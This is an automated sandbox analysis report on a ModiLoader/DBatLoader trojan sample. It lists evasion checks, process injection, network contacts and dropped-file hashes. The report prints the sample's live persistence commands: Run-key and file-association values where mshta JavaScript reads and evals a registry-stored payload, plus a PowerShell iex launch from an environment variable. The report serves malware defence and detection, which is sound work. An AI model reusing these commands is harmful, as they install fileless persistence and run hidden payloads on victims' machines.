Malware Analysis Report

2024-10-23 19:35

Sample ID 240504-ce5cbsdd95
Target 112f4f28f7901335ac7fba24bc9f3fcd_JaffaCakes118
SHA256 c46d7f3826dad22af4b540519bfd0d573ad2fd98b79071c26b1271f290c34008
Tags
modiloader evasion persistence trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

c46d7f3826dad22af4b540519bfd0d573ad2fd98b79071c26b1271f290c34008

Threat Level: Known bad

The file 112f4f28f7901335ac7fba24bc9f3fcd_JaffaCakes118 was found to be: Known bad.

Malicious Activity Summary

modiloader evasion persistence trojan

ModiLoader, DBatLoader

Process spawned unexpected child process

Looks for VirtualBox Guest Additions in registry

Looks for VirtualBox drivers on disk

Checks for common network interception software

ModiLoader Second Stage

Looks for VMWare Tools registry key

Deletes itself

Checks BIOS information in registry

Drops startup file

Adds Run key to start application

Maps connected drives based on registry

Suspicious use of SetThreadContext

Drops file in System32 directory

Enumerates physical storage devices

Unsigned PE

Modifies registry class

Modifies Internet Explorer settings

Suspicious behavior: MapViewOfSection

Suspicious use of WriteProcessMemory

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-05-04 02:00

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-05-04 02:00

Reported

2024-05-04 02:02

Platform

win7-20240221-en

Max time kernel

149s

Max time network

150s

Command Line

"C:\Users\Admin\AppData\Local\Temp\112f4f28f7901335ac7fba24bc9f3fcd_JaffaCakes118.exe"

Signatures

ModiLoader, DBatLoader

trojan modiloader

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\mshta.exe

Checks for common network interception software

evasion

Looks for VirtualBox Guest Additions in registry

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions C:\Windows\SysWOW64\regsvr32.exe N/A

Looks for VirtualBox drivers on disk

evasion
Description Indicator Process Target
File opened (read-only) C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys C:\Windows\SysWOW64\regsvr32.exe N/A

ModiLoader Second Stage

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Looks for VMWare Tools registry key

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools C:\Windows\SysWOW64\regsvr32.exe N/A

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Windows\SysWOW64\regsvr32.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Windows\SysWOW64\regsvr32.exe N/A

Deletes itself

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\54b061.lnk C:\Windows\SysWOW64\regsvr32.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Windows\\system32\\mshta.exe\" javascript:QrDuz6Z=\"U\";s9U=new%20ActiveXObject(\"WScript.Shell\");SzKNNw1=\"TdMv8\";RN7Bt9=s9U.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\jvvo\\\\xbawnqo\");E56jIQ=\"mzT\";eval(RN7Bt9);o60hus=\"TNEaIM8w\";" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Windows\\system32\\mshta.exe\" javascript:p0GZ5Up=\"3H\";BY9=new%20ActiveXObject(\"WScript.Shell\");d9xJ4Odo=\"If5iDCg\";Y2LcO=BY9.RegRead(\"HKCU\\\\software\\\\jvvo\\\\xbawnqo\");tE7DS8=\"cYnPrhDt\";eval(Y2LcO);g8ibitP2I=\"e1G\";" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Users\\Admin\\AppData\\Local\\529d1c\\1bcd8a.lnk\"" C:\Windows\SysWOW64\regsvr32.exe N/A

Maps connected drives based on registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum C:\Windows\SysWOW64\regsvr32.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0 C:\Windows\SysWOW64\regsvr32.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\International C:\Windows\SysWOW64\regsvr32.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\ed42e7 C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\ed42e7\shell C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\ed42e7\shell\open C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\ed42e7\shell\open\command C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\ed42e7\shell\open\command\ = "\"C:\\Windows\\system32\\mshta.exe\" \"javascript:AU1dU=\"F\";B58e=new ActiveXObject(\"WScript.Shell\");TZMUp51=\"vfoJ\";H7koy=B58e.RegRead(\"HKCU\\\\software\\\\jvvo\\\\xbawnqo\");OMY3qfG1=\"w2RHotT\";eval(H7koy);gSke0ra=\"vMAe\";\"" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\.cbe78f1 C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\.cbe78f1\ = "ed42e7" C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1924 wrote to memory of 2060 N/A C:\Users\Admin\AppData\Local\Temp\112f4f28f7901335ac7fba24bc9f3fcd_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\112f4f28f7901335ac7fba24bc9f3fcd_JaffaCakes118.exe
PID 1924 wrote to memory of 2060 N/A C:\Users\Admin\AppData\Local\Temp\112f4f28f7901335ac7fba24bc9f3fcd_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\112f4f28f7901335ac7fba24bc9f3fcd_JaffaCakes118.exe
PID 1924 wrote to memory of 2060 N/A C:\Users\Admin\AppData\Local\Temp\112f4f28f7901335ac7fba24bc9f3fcd_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\112f4f28f7901335ac7fba24bc9f3fcd_JaffaCakes118.exe
PID 1924 wrote to memory of 2060 N/A C:\Users\Admin\AppData\Local\Temp\112f4f28f7901335ac7fba24bc9f3fcd_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\112f4f28f7901335ac7fba24bc9f3fcd_JaffaCakes118.exe
PID 1924 wrote to memory of 2060 N/A C:\Users\Admin\AppData\Local\Temp\112f4f28f7901335ac7fba24bc9f3fcd_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\112f4f28f7901335ac7fba24bc9f3fcd_JaffaCakes118.exe
PID 1924 wrote to memory of 2060 N/A C:\Users\Admin\AppData\Local\Temp\112f4f28f7901335ac7fba24bc9f3fcd_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\112f4f28f7901335ac7fba24bc9f3fcd_JaffaCakes118.exe
PID 1924 wrote to memory of 2060 N/A C:\Users\Admin\AppData\Local\Temp\112f4f28f7901335ac7fba24bc9f3fcd_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\112f4f28f7901335ac7fba24bc9f3fcd_JaffaCakes118.exe
PID 1924 wrote to memory of 2060 N/A C:\Users\Admin\AppData\Local\Temp\112f4f28f7901335ac7fba24bc9f3fcd_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\112f4f28f7901335ac7fba24bc9f3fcd_JaffaCakes118.exe
PID 1924 wrote to memory of 2060 N/A C:\Users\Admin\AppData\Local\Temp\112f4f28f7901335ac7fba24bc9f3fcd_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\112f4f28f7901335ac7fba24bc9f3fcd_JaffaCakes118.exe
PID 2688 wrote to memory of 2816 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2688 wrote to memory of 2816 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2688 wrote to memory of 2816 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2688 wrote to memory of 2816 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2816 wrote to memory of 2632 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2816 wrote to memory of 2632 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2816 wrote to memory of 2632 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2816 wrote to memory of 2632 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2816 wrote to memory of 2632 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2816 wrote to memory of 2632 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2816 wrote to memory of 2632 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2816 wrote to memory of 2632 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2632 wrote to memory of 1612 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2632 wrote to memory of 1612 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2632 wrote to memory of 1612 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2632 wrote to memory of 1612 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2632 wrote to memory of 1612 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2632 wrote to memory of 1612 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2632 wrote to memory of 1612 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2632 wrote to memory of 1612 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe

Processes

C:\Users\Admin\AppData\Local\Temp\112f4f28f7901335ac7fba24bc9f3fcd_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\112f4f28f7901335ac7fba24bc9f3fcd_JaffaCakes118.exe"

C:\Users\Admin\AppData\Local\Temp\112f4f28f7901335ac7fba24bc9f3fcd_JaffaCakes118.exe

C:\Users\Admin\AppData\Local\Temp\112f4f28f7901335ac7fba24bc9f3fcd_JaffaCakes118.exe

C:\Windows\system32\mshta.exe

"C:\Windows\system32\mshta.exe" javascript:ZDY56JdS="wiKm";B6L8=new%20ActiveXObject("WScript.Shell");aN8NaM="F5w";q8JFW=B6L8.RegRead("HKLM\\software\\Wow6432Node\\AlMsph\\tEFNPqY");B8VFfDS="q";eval(q8JFW);J3uTy="zQ3mT";

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:ifsdbbe

C:\Windows\SysWOW64\regsvr32.exe

regsvr32.exe

C:\Windows\SysWOW64\regsvr32.exe

"C:\Windows\SysWOW64\regsvr32.exe"

Network

Country Destination Domain Proto
US 74.158.179.162:80 tcp
US 50.169.232.87:80 tcp
IT 82.84.171.177:80 tcp
US 17.8.243.86:80 tcp
FR 5.196.24.237:8080 tcp
US 146.95.245.180:8080 tcp
US 56.86.61.30:80 tcp
US 139.181.104.36:80 tcp
US 152.63.193.144:80 tcp
US 16.97.114.9:80 tcp
DE 212.4.160.127:80 tcp
US 98.151.200.168:8080 tcp
IE 54.217.39.2:80 tcp
IE 54.217.39.2:80 54.217.39.2 tcp
KG 46.251.200.25:80 tcp
BE 34.140.84.10:80 tcp
US 108.10.185.175:80 tcp
CN 120.33.84.98:80 tcp
AR 181.46.253.47:80 tcp
GB 86.24.73.225:80 tcp
CA 142.193.101.82:80 tcp
CO 191.91.126.219:80 tcp
DE 193.101.121.51:80 tcp
NL 185.150.188.189:80 tcp
US 140.89.61.193:8080 tcp
IN 106.197.162.189:80 tcp
PL 94.240.33.193:80 tcp
CN 117.94.197.114:443 tcp
US 15.121.208.144:8080 tcp
US 108.126.8.131:80 tcp
JP 133.45.190.55:80 tcp
IT 151.25.50.154:80 tcp
CN 218.95.246.130:8080 tcp
JP 219.185.122.53:80 tcp
US 128.235.186.133:80 tcp
US 71.95.157.104:80 tcp
MA 197.129.117.152:80 tcp
JP 210.131.38.127:80 tcp
US 78.14.40.199:80 tcp
SE 147.14.116.99:80 tcp
CN 112.125.251.78:80 tcp
KR 112.150.162.58:80 tcp
AU 49.183.164.56:443 tcp
US 48.44.241.5:80 tcp
US 205.219.214.16:80 tcp
CA 149.26.101.71:80 tcp
US 9.49.13.34:80 tcp
TH 183.89.78.7:80 tcp
NL 137.116.197.128:80 tcp
US 149.142.205.150:80 tcp
US 149.186.81.83:80 tcp
IN 132.154.12.73:80 tcp
US 44.117.146.121:80 tcp
PL 153.19.169.95:80 tcp
US 38.90.209.115:80 tcp
RU 81.163.130.181:80 tcp
US 38.248.188.122:80 tcp
US 172.119.68.123:80 tcp
FR 143.126.47.37:80 tcp
KR 39.112.202.228:80 tcp
US 7.217.222.83:80 tcp
US 163.240.52.238:80 tcp
IT 2.228.23.123:80 tcp
RO 141.183.147.232:80 tcp
CN 116.146.10.22:80 tcp
VE 190.36.212.39:80 tcp
US 129.34.79.34:80 tcp
US 13.171.121.5:80 tcp
HK 156.232.66.50:80 tcp
US 50.200.47.78:80 tcp
KR 42.21.141.98:80 tcp
SE 23.56.37.148:80 tcp
US 138.17.206.148:80 tcp
US 30.100.162.238:80 tcp
US 207.22.245.161:80 tcp
KR 175.120.122.193:80 tcp
GB 47.70.135.69:80 tcp
US 134.204.248.221:80 tcp
US 26.231.16.111:80 tcp
US 142.77.2.66:80 tcp
US 174.17.28.237:80 tcp
US 140.229.212.125:80 tcp
PH 114.108.234.190:80 tcp
RU 95.179.28.250:80 tcp
TN 102.240.189.64:80 tcp
JP 111.234.175.55:8080 tcp
US 214.231.147.156:443 tcp
UA 91.244.127.208:80 tcp
JP 221.112.169.60:80 tcp
US 70.220.59.181:80 tcp
US 44.6.165.43:80 tcp
N/A 10.112.153.88:80 tcp
AR 181.89.178.249:80 tcp
CN 112.101.245.15:80 tcp
CN 117.143.171.255:80 tcp
CN 183.16.130.8:80 tcp
US 57.135.252.11:80 tcp
US 22.150.46.32:80 tcp
PL 213.25.68.124:80 tcp
US 206.57.66.124:80 tcp
US 184.83.107.211:80 tcp
FR 37.166.209.138:80 tcp
RU 84.39.128.116:80 tcp
US 54.158.17.91:443 tcp
US 15.243.159.2:80 tcp
GB 138.250.228.213:80 tcp
CN 101.144.93.28:443 tcp
CN 114.114.129.228:80 tcp
US 199.173.44.191:80 tcp
HK 112.119.99.18:80 tcp
CN 157.156.75.183:80 tcp
US 75.93.166.213:80 tcp
US 73.22.27.223:80 tcp
CO 190.126.81.77:80 tcp
GB 89.240.31.117:80 tcp
US 204.91.30.235:80 tcp
JP 220.158.58.137:443 tcp
US 69.226.242.14:80 tcp
US 174.199.58.237:80 tcp
CA 50.93.86.173:80 tcp
BR 177.176.184.206:80 tcp
CN 144.255.193.224:80 tcp
KR 210.93.148.86:80 tcp
DE 134.94.13.212:8080 tcp
CN 183.209.116.69:80 tcp
US 108.82.162.120:8080 tcp
RU 88.151.92.235:443 tcp
UA 31.135.183.249:80 tcp
RU 79.174.50.131:443 tcp
US 96.228.111.69:80 tcp
ES 90.106.19.56:80 tcp
BR 187.111.24.108:8080 tcp
GB 25.253.95.23:80 tcp
DE 78.50.120.172:80 tcp
HK 45.150.55.104:80 tcp
US 74.221.176.35:80 tcp
US 96.186.20.99:80 tcp

Files

memory/2060-0-0x0000000000400000-0x000000000043A000-memory.dmp

memory/2060-8-0x0000000000400000-0x000000000043A000-memory.dmp

memory/2060-12-0x0000000000400000-0x000000000043A000-memory.dmp

memory/2060-10-0x0000000000400000-0x000000000043A000-memory.dmp

memory/2060-6-0x0000000000400000-0x000000000043A000-memory.dmp

memory/2060-4-0x0000000000400000-0x000000000043A000-memory.dmp

memory/2060-2-0x0000000000400000-0x000000000043A000-memory.dmp

memory/2060-13-0x0000000000400000-0x000000000043A000-memory.dmp

memory/2060-14-0x0000000000220000-0x00000000002F6000-memory.dmp

memory/2060-15-0x0000000000220000-0x00000000002F6000-memory.dmp

memory/2060-16-0x0000000000220000-0x00000000002F6000-memory.dmp

memory/2060-18-0x0000000000220000-0x00000000002F6000-memory.dmp

memory/2060-17-0x0000000000220000-0x00000000002F6000-memory.dmp

memory/2060-19-0x0000000000220000-0x00000000002F6000-memory.dmp

memory/2060-20-0x0000000000220000-0x00000000002F6000-memory.dmp

memory/2816-29-0x00000000061C0000-0x0000000006296000-memory.dmp

memory/2632-31-0x0000000000150000-0x0000000000291000-memory.dmp

memory/2632-33-0x0000000000150000-0x0000000000291000-memory.dmp

memory/2816-34-0x00000000061C0000-0x0000000006296000-memory.dmp

memory/2632-40-0x0000000000150000-0x0000000000291000-memory.dmp

memory/2632-43-0x0000000000150000-0x0000000000291000-memory.dmp

memory/2632-35-0x0000000000150000-0x0000000000291000-memory.dmp

memory/2632-36-0x0000000000150000-0x0000000000291000-memory.dmp

memory/2632-37-0x0000000000150000-0x0000000000291000-memory.dmp

memory/2632-48-0x0000000000150000-0x0000000000291000-memory.dmp

memory/2632-49-0x0000000000150000-0x0000000000291000-memory.dmp

memory/2632-39-0x0000000000150000-0x0000000000291000-memory.dmp

memory/2632-38-0x0000000000150000-0x0000000000291000-memory.dmp

memory/2632-41-0x0000000000150000-0x0000000000291000-memory.dmp

memory/2632-55-0x0000000000150000-0x0000000000291000-memory.dmp

memory/2632-42-0x0000000000150000-0x0000000000291000-memory.dmp

memory/2632-73-0x0000000000150000-0x0000000000291000-memory.dmp

memory/2632-44-0x0000000000150000-0x0000000000291000-memory.dmp

memory/2632-47-0x0000000000150000-0x0000000000291000-memory.dmp

memory/2632-56-0x0000000000150000-0x0000000000291000-memory.dmp

memory/2632-54-0x0000000000150000-0x0000000000291000-memory.dmp

memory/2632-53-0x0000000000150000-0x0000000000291000-memory.dmp

memory/2632-74-0x0000000000150000-0x0000000000291000-memory.dmp

memory/2632-52-0x0000000000150000-0x0000000000291000-memory.dmp

memory/2632-51-0x0000000000150000-0x0000000000291000-memory.dmp

memory/2632-50-0x0000000000150000-0x0000000000291000-memory.dmp

memory/2632-67-0x0000000000150000-0x0000000000291000-memory.dmp

memory/2632-66-0x0000000000150000-0x0000000000291000-memory.dmp

memory/2632-65-0x0000000000150000-0x0000000000291000-memory.dmp

memory/2632-63-0x0000000000150000-0x0000000000291000-memory.dmp

memory/2632-62-0x0000000000150000-0x0000000000291000-memory.dmp

memory/2632-57-0x0000000000150000-0x0000000000291000-memory.dmp

memory/2632-46-0x0000000000150000-0x0000000000291000-memory.dmp

memory/2632-45-0x0000000000150000-0x0000000000291000-memory.dmp

memory/1612-80-0x0000000000180000-0x00000000002C1000-memory.dmp

memory/1612-85-0x0000000000180000-0x00000000002C1000-memory.dmp

memory/1612-84-0x0000000000180000-0x00000000002C1000-memory.dmp

memory/1612-83-0x0000000000180000-0x00000000002C1000-memory.dmp

memory/1612-82-0x0000000000180000-0x00000000002C1000-memory.dmp

memory/1612-81-0x0000000000180000-0x00000000002C1000-memory.dmp

C:\Users\Admin\AppData\Local\529d1c\4bd7f2.bat

MD5 7f145f9c460ee7bb55a3e7ad72a65f86
SHA1 39a73f2119c72ae27a166fff9ceb13859f6ac21b
SHA256 16e3704ce7a5f142fe817cd42cf9fd214341caf20a284c439457feb84515ddad
SHA512 1bfbf2931d904ae08d6552267b918e8f7e6cce6d142f0c950c74e2e601dc3cf36428fcddf67ad3cae1acb565edf4871c0c3c165be88c34d3c81b68b8d7c1a75f

C:\Users\Admin\AppData\Local\529d1c\7fd902.cbe78f1

MD5 38b2e1084ab75fa05a5ee206f3976a45
SHA1 ac1cd59264cac1f0eebbe0bc5c469c4136afcffe
SHA256 638d165f6cd3dbcbec9b6274bec68d45d2476f97b9a1a4d3f3584b2f4e5cff69
SHA512 57d9b0875b8cf991e8c27ecdd93aaa4bb4786ced51f957b63494471b756fe822025fb2f4b5d140f7418dac638fc9f7b792737a8058bfdd2d0e4b84a1989be5dd

C:\Users\Admin\AppData\Local\529d1c\1bcd8a.lnk

MD5 d0a3fbe88c3f61c7b8ec51664558c563
SHA1 db209447ea53c1a3cc72db99db8fd56ebd4e3610
SHA256 8fc0dd4419bdefda068b3b1db4a7e264fb638ae1f08562310905db8011cf4f10
SHA512 0e2a3c24cbde1ef2e7355939910b2d10ade1d60bb11f25662fdc33c6044ce61597658308a7a7fe5611a7f9253ded3580e66768eb34e26e2266aaf3c253629363

C:\Users\Admin\AppData\Roaming\4f4be6\d3bc4d.cbe78f1

MD5 c156766446b73bdb53da4afd77d4657b
SHA1 048c03d62a389139287b0e847347576ba07f1617
SHA256 b1fc9e41aad0230f75bf1aaf95703efabad164341fd0472b41ff0303bedda274
SHA512 63c3731e64bb7940979131b3f127f6d6cfc12b9a9b406204e077c86f7d2bedb65bc3e2eaa0918039c502f05493ff25d8fc8e873d2d02ecb7dbf808d581eb2774

